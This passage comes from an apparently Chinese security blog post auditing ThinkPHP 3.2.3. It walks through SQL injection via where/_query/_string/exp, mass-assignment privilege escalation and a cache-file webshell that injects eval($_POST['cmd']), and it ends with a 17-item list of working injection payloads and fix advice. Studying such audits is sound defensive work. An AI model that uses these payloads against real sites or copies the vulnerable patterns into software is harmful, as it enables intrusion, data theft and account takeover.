$map['_query'] = 'status=1&score=100&_logic=or';

得到的查询条件是:

1
2
3
4
5
6
7
`id`>100 AND (`status` = '1' OR `score` = '100')
案例:
$User = M("User"); // 实例化User对象
$map['id'] = array('neq',1);
$map['name'] = 'ok';
$map['_string'] = 'score='.I('score');
$User->where($map)->select();

利用方式同Action参数注入。

其他漏洞审计

逻辑越权

自动完成

自动完成是ThinkPHP提供用来完成数据自动处理和过滤的方法,使用create方法创建数据对象的时候会自动完成数据处理。

因此,在ThinkPHP使用create方法来创建数据对象是更加安全的方式,而不是直接通过add或者save方法实现数据写入。

静态定义

预先在模型类里面定义好自动完成的规则,我们称之为静态定义。例如,我们在模型类定义_auto属性:

1
2
3
4
5
6
7
8
9
10
namespace Home\Model;
use Think\Model;
class UserModel extends Model{
protected $_auto = array (
array('status','1'), // 新增的时候把status字段设置为1
array('password','md5',3,'function') , // 对password字段在新增和编辑的时候使md5函数处理
array('name','getName',3,'callback'), // 对name字段在新增和编辑的时候回调getName方法
array('update_time','time',2,'function'), // 对update_time字段在更新的时候写入当前时间戳
);
}

然后,就可以在使用create方法创建数据对象的时候自动处理:

1
2
3
4
5
6
7
8
$User = D("User"); // 实例化User对象
if (!$User->create()){ // 创建数据对象
// 如果创建失败 表示验证没有通过 输出错误提示信息
exit($User->getError());
}else{
// 验证通过 写入新增数据
$User->add();
}

如果没有定义任何自动验证规则,则不需要判断create方法的返回值:

1
2
3
$User = D("User"); // 实例化User对象
$User->create(); // 生成数据对象
$User->add(); // 新增用户数据

或者更简单的使用:

1
2
3
$User = D("User"); // 实例化User对象
$User->create(); // 生成数据对象
$User->add(); // 写入数据

案例:
当Model使用未经过滤的代码如下:

1
2
3
4
5
protected $_auto = array (  
array('password','md5',3,'function') , // 对password字段在新增和编辑的时候使md5函数处理
array('score','10'),//普通会员注册给10分
array('username','',3,'ignore'),
);

再使用如下代码调用时,便会存在漏洞。

1
2
3
4
5
6
7
$User = D("User"); // 实例化User对象  
if (!$User->create()){ // 创建数据对象
// 如果创建失败 表示验证没有通过 输出错误提示信息 exit($User->getError());
}else{
// 验证通过 写入新增数据
$User->add();
}

当使用如下url访问时:

1
2
http://127.0.0.1/ThinkPHP/index.php/home/User/addUser
post:username=ad&password=123&score=21

其最后sql语句为:

1
INSERT INTO `thinkphp_user` (`username`,`password`) VALUES ('ad','123')

然后,当使用下面url访问时便可造成越权

1
2
3
http://127.0.0.1/ThinkPHP/index.php/home/User/addUser
post:username=a&password=123&score=21&level=2
其中level表示注册的会员等级(level默认为0

缓存漏洞

数据缓存,快速缓存参考thinkphp3.2.3完全开发手册

漏洞代码:

1
2
3
4
public function index(){
$a=I('post.a');
S('name',$a);
}

之后使用post传入

a=phpinfo();

application/runtime/temp/目录中成功生成里缓存文件

1588660627551

由于被注释了,所以使用%0d%0a换行来绕过行注释

1
%0d%0aeval($_POST['cmd']);%0d%0a//

1588661596159

修复方案

常规注入过滤
1.where 方法
Where、query、execute 方法建议采用预处理机制,抛开传统的拼接 SQL 语句的思想
采用下面的条件预处理
$Model->where(“id=%d and username=’%s’ and xx=’%f’”,array($id,$username,$xx))->select();
$model->query(‘select * from user where id=%d and status=%d’,$id,$status);

2.Field、table 等方法
如果需要从获取外界的值,一定要对这些值进行安全过滤,比如过滤掉 Mysql 里的三大注释符 – -、#、/**/ 、还有一个反引号 `

3.Exp 注入限制
只需配置 REQUEST_VARS_FILTER = true

4.缓存设置
官方推荐设置 DATA_CACHE_KEY 参数,避免缓存文件名被猜测到。

总结

thinkphp3框架常见漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
1.where后直接直接拼接会产生注入
$data = M('user')->where("id=".I('id'))->select();

2. table表名函数可控产生注入
M()->table(I('biao'))->where('1=1')->select();
table ?biao=thinkphp_user where 1=1 and 1=(extractvalue(1, concat(0x7e, (select @@version),0x7e)))-- -a 表名必须存在。

3. field函数可控产生注入
M('user')->field(I('id'))->where('1=1')->select();
//SELECT `id` FROM `thinkphp_user` WHERE ( 1=1 ) id可控导致注入

4. field别名可控存在注入
M('user')->field(array('id','username'=>I('name')))->select();
// SELECT `id`,`username` AS `uname` FROM `thinkphp_user` //别名 ?name=uname`a报错

5.->(alias|join|union)\s*\((\$|\$_|I) 用正则查找 alias|join|union参数可控制
M('user')->field(I('id'))->union('select 1 from thinkphp_user')->select();

6.order,group,having参数可控
M('user')->where('1=1')->order(array('id'=>I('orderby')))->select();
SELECT * FROM `thinkphp_user` WHERE ( 1=1 ) ORDER BY `id` asc ---?orderby=asc

7.comment注入
M('user')->comment(I('comment'))->where('1=1')->select();
SELECT * FROM `thinkphp_user` WHERE ( 1=1 ) /* 111111111 */ comment=111111111

8.索引注入
$Model->index(I('user'))->select();

9.query,execute,聚合函数支持原生的sql语句
M('user')->count(I('par')); //聚合函数 SELECT COUNT(*) AS tp_count FROM `thinkphp_user` LIMIT 1 ?par=*

10.exp注入
a.)
$data = array();
$data['user'] = $_POST['username'];
$data['pass'] = md5($_POST['password']);
M('user')->where($data)->find();
payload: username[0]=exp&username[1]=aa'or 1=1%23&password=1
b.)
$res=M('member')->where(array('id'=>$_GET['userid']))->count();
payload:userid[0]=exp&userid[1]=aaaaaa
c.)通过I函数exp注入就不存在了
$res = M('member')->where(array('id'=>$I('userid')))->count();

11、参数传递注入 public\s+function\s+[\w_]+\(\$
public function index(/*$id*/)
if(intval($id)>0)
{
$data = M('user')->where('id='.$id)->select(); //?id=1) 直接绕过判断
dump($data);
}

12.setInc注入
$user = M("user");
$user->where('id=5')->setInc('sorce'.I('num'));

13.组合注入
$map['id'] = I('id');
$map['_string'] = 'username='."'".I('username')."'";
$data = M('user')->where($map)->select();
dump(data);
[url]http://127.0.0.1/tp/index.php/home/user/index?id=5&username=afanti[/url]
SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( username='afanti' )

14、_query参数可控
$map['id'] = 5;
$map['_query']='username=afanti&score=10';
$data = M('user')->where($map)->select();
dump(data);
SELECT * FROM `thinkphp_user` WHERE `id` = 5 AND ( `username` = 'afanti' AND `score` = '10' )

15、模板问题
$name = $_GET['name'];
$this->assign($name);
$this->display('index'); //'TMPL_ENGINE_TYPE' => 'php'才有效,默认是Think
[url]http://127.0.0.1/tp/index.php/home/user/index?name[/url][_content]=

16、在runtime/key.php
S('a',I('id')); //http://127.0.0.1/tp/index.php/home/index/test?id=%0Aphpinfo%28%29//
在Temp生成文件 生成的文件名字可到cmd5破解

F('key','');
$this->display();

17.select、find、delete注入
public function test()
{
$id = i('id');
$res = M('user')->find($id);
//$res = M('user')->delete($id);
//$res = M('user')->select($id);
}
注入的payload:
table:[url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url][table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias:[url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url][alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
where: [url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url][where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
delete方法注入payload:
where: [url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url][where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias: [url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url][where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
table: [url]http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[/url][table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1

陆陆续续整理了两周,也算是整完了,都是一些简单的漏洞。主要是学习一些代码审计的思路和方法,工具的配置和审计流程。也了解了thinkphp框架的基本结构,后面准备复现一些相关的cve。

参考链接:https://www.mrwu.red/web/2043.html
视频连接
Thinkphp 从漏洞挖掘到安全防御pdf

文章作者:CyzCc
最后更新:2020年05月05日 16:05:14
原始链接:https://cyzcc.vip/2020/05/05/ThinkPHP3.2.3/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------